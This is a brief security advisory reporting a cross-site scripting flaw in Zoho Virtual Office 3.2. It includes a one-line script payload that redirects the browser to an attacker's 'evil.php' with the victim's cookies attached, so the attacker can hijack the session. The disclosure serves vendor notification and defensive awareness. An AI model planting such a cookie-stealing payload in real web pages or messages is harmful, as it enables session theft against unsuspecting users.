zohoXSS.txt

`Hello,  
  
We have discovered a vunerability in Zoho Virtual Office.  
  
Malformed HTML message could lead to XSS Attack. It can cause a cookie  
theft leading to session hijacking.  
  
PoC:  
Simply creating HTML message including Javascript code could lead the  
browser's frame into evil script on attacker's server.  
Example:  
  
<script>document.location='http://server/evil/evil.php?'+document.cookie  
</script>  
  
evil.php file contains code which saves cookie variables on evil server.  
attacker can prepare cookie and hijack the user's session.  
  
Affected version: 3.2 Build 3210 (latest), previous versions might  
also be vulnerable.  
Vendor was contacted 72 hours ago.  
  
best regards  
marc & shb  
`